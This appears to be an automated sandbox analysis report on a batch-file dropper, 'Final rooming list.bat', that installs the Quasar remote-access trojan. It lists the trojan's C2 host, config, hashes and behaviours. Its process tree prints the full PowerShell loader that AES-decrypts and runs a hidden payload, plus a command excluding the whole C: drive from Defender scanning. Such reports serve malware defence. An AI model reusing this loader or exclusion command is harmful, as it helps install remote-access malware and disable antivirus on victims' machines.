Analysis
- max time kernel
142s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20231020-en - resource tags
arch:x64arch:x86image:win10v2004-20231020-enlocale:en-usos:windows10-2004-x64system - submitted
26/10/2023, 19:27
Static task
static1
Behavioral task
behavioral1
Sample
Final rooming list.bat
Resource
win7-20231023-en
7 signatures
150 seconds
Behavioral task
behavioral2
Sample
Final rooming list.bat
Resource
win10v2004-20231020-en
11 signatures
150 seconds
General
- Target Final rooming list.bat
- Size 579KB
- Sample231026-x545gage45
- SHA256 af5f068d0a2b8aa461a28be084e3e39cb7538b9b4b564e59cf75854420965271
- MD5 98000fd6e24b741927fd81c1d61ae996
- SHA1 fd54862ea4e9534869dc0eadbfee6472ef6e2681
- SHA512 15dccac2d5e522f354eb51ef0199c928b87c5153964af5f6262534e0ed1274a4aeb93b170656b917616000bddd56095408b5a553ddf162f4ce59d879a5d209cd
- SSDEEP 12288:MPAyhLk9RwBGYSR+t1Q+H9Zj09JbQNJKIAM7PR27dtPbb/J:MP/sEGerZimXKlPnJ
- MD5 SHA1 SHA512 SSDEEP
Score
10/10
Malware Config
Extracted
Family
-
quasar
Version
-
1.4.0.0
Botnet
-
Defender_Bypass
C2
-
burk2n.dynu.net:4782
Mutex
-
IJy39X1DtiAJigDyVP
Attributes
-
encryption_key
ZUQJuN27rjP6OlfAri54
-
install_name
Client.exe
-
log_directory
Logs
-
reconnect_delay
3000
-
startup_key
Quasar Client Startup
-
subdirectory
SubDir
Signatures
- Quasar payload 4 IoCs
resource yara_rule behavioral2/files/0x000e000000022d12-41.dat family_quasar behavioral2/files/0x000e000000022d12-46.dat family_quasar behavioral2/files/0x000e000000022d12-50.dat family_quasar behavioral2/memory/4424-53-0x0000000000E20000-0x0000000000E6E000-memory.dmp family_quasar - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Control Panel\International\Geo\Nation Final rooming list.bat.exe - Executes dropped EXE 2 IoCs
pid Process 4476 Final rooming list.bat.exe 4424 gsges.exe - Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 31 ip-api.com 35 api.ipify.org - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 4476 Final rooming list.bat.exe 4476 Final rooming list.bat.exe 2720 powershell.exe 2720 powershell.exe - Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 4476 Final rooming list.bat.exe Token: SeDebugPrivilege 2720 powershell.exe Token: SeDebugPrivilege 4424 gsges.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 4424 gsges.exe - Suspicious use of WriteProcessMemory 13 IoCs
description pid Process procid_target PID 2040 wrote to memory of 3644 2040 cmd.exe 88 PID 2040 wrote to memory of 3644 2040 cmd.exe 88 PID 3644 wrote to memory of 1676 3644 cmd.exe 91 PID 3644 wrote to memory of 1676 3644 cmd.exe 91 PID 3644 wrote to memory of 4476 3644 cmd.exe 92 PID 3644 wrote to memory of 4476 3644 cmd.exe 92 PID 4476 wrote to memory of 3764 4476 Final rooming list.bat.exe 95 PID 4476 wrote to memory of 3764 4476 Final rooming list.bat.exe 95 PID 3764 wrote to memory of 2720 3764 cmd.exe 97 PID 3764 wrote to memory of 2720 3764 cmd.exe 97 PID 4476 wrote to memory of 4424 4476 Final rooming list.bat.exe 100 PID 4476 wrote to memory of 4424 4476 Final rooming list.bat.exe 100 PID 4476 wrote to memory of 4424 4476 Final rooming list.bat.exe 100 - Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 1676 attrib.exe
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Final rooming list.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:2040 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\Final rooming list.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:3644 -
C:\Windows\system32\attrib.exeattrib +h "C:\Users\Admin\AppData\Local\Temp\Final rooming list.bat.exe"3⤵
- Views/modifies file attributes
PID:1676
-
-
C:\Users\Admin\AppData\Local\Temp\Final rooming list.bat.exe"C:\Users\Admin\AppData\Local\Temp\Final rooming list.bat.exe" -w hidden -c "$filePath = 'C:\Users\Admin\AppData\Local\Temp\Final rooming list.bat'; $base64Pattern = '::(.*)'; $base64Code = ''; $found = $false; foreach ($line in [System.IO.File]::ReadLines($filePath)) { if ($line -match $base64Pattern) { $base64Code = $Matches[1].Trim(); $found = $true; break; } } if ($found) { $base64Code }; $key = 'S1h7yTlbJgEbe8fAoA0dwoHzF+iw98+iDWu9qKOt56s='; $iv = '9JUEq2XY9KUlMg+mRt4Zsg=='; $cryptedBytes = [System.Convert]::FromBase64String($base64Code); $aes = New-Object System.Security.Cryptography.AesCryptoServiceProvider; $aes.Key = [System.Convert]::FromBase64String($key); $aes.IV = [System.Convert]::FromBase64String($iv); $aes.Mode = [System.Security.Cryptography.CipherMode]::CBC; $aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7; $decryptor = $aes.CreateDecryptor(); $decryptedBytes = $decryptor.TransformFinalBlock($cryptedBytes, 0, $cryptedBytes.Length); $assembly = [System.Reflection.Assembly]::Load($decryptedBytes); $entryPoint = $assembly.EntryPoint; $null = $entryPoint.Invoke($null, @())"3⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4476 -
C:\Windows\SYSTEM32\cmd.exe"cmd.exe"4⤵
- Suspicious use of WriteProcessMemory
PID:3764 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\'"5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2720
-
-
-
C:\Users\Admin\AppData\Roaming\gsges.exe"C:\Users\Admin\AppData\Roaming\gsges.exe"4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:4424
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 bdef2825db8438622ccbcf22db38e42955406adced926c1045df2e9b75c520fe
- MD5 aff1a513fa4785bbbd6c518fdecc9efe
- SHA1 849e78a1d340d1b891e3d90637ef5670e740f0c2
- SHA512 3583e0b068f2c2c8910536ca32c4e335f75e84fdb1d4e4121a568cf4cad8135ccd4ec42f09c7f424d2df89c687710cd15f581db6853bec9aaf46b037fcb34f13
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\Final rooming list.bat.exe
- Size 442KB
- SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
- MD5 04029e121a0cfa5991749937dd22a1d9
- SHA1 f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
- SHA512 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
- SSDEEP 6144:r2fdXxswSX0z/YWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:qVXqXEgW2KXzJ4pdd3klnnWosPhnzq
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\Final rooming list.bat.exe
- Size 442KB
- SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
- MD5 04029e121a0cfa5991749937dd22a1d9
- SHA1 f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
- SHA512 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
- SSDEEP 6144:r2fdXxswSX0z/YWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:qVXqXEgW2KXzJ4pdd3klnnWosPhnzq
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gjm51fft.ups.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Roaming\gsges.exe
- Size 288KB
- SHA256 3764d5269cce0d687d2004f7ded8672abffe660a3140e046a8265ecb89053049
- MD5 9a9f02b67e62740df4266fe4512e14a3
- SHA1 4ceb681ea101e5a8ae912728408959fde8669741
- SHA512 a8df6d58ed3273346c82d086622865ddf4cf0965b65f4ae402555a8ef8c8b4e8bf0a06868fa5a875a7a0a8412c86298a17685fec72e361b52e065025f56dadf1
- SSDEEP 6144:zKJuiyEnCGnhJlMP5Kq+SMv0VGb7bDcllbkLC:mzCGL69zVGkllbkO
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Roaming\gsges.exe
- Size 288KB
- SHA256 3764d5269cce0d687d2004f7ded8672abffe660a3140e046a8265ecb89053049
- MD5 9a9f02b67e62740df4266fe4512e14a3
- SHA1 4ceb681ea101e5a8ae912728408959fde8669741
- SHA512 a8df6d58ed3273346c82d086622865ddf4cf0965b65f4ae402555a8ef8c8b4e8bf0a06868fa5a875a7a0a8412c86298a17685fec72e361b52e065025f56dadf1
- SSDEEP 6144:zKJuiyEnCGnhJlMP5Kq+SMv0VGb7bDcllbkLC:mzCGL69zVGkllbkO
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Roaming\gsges.exe
- Size 288KB
- SHA256 3764d5269cce0d687d2004f7ded8672abffe660a3140e046a8265ecb89053049
- MD5 9a9f02b67e62740df4266fe4512e14a3
- SHA1 4ceb681ea101e5a8ae912728408959fde8669741
- SHA512 a8df6d58ed3273346c82d086622865ddf4cf0965b65f4ae402555a8ef8c8b4e8bf0a06868fa5a875a7a0a8412c86298a17685fec72e361b52e065025f56dadf1
- SSDEEP 6144:zKJuiyEnCGnhJlMP5Kq+SMv0VGb7bDcllbkLC:mzCGL69zVGkllbkO
- MD5 SHA1 SHA512 SSDEEP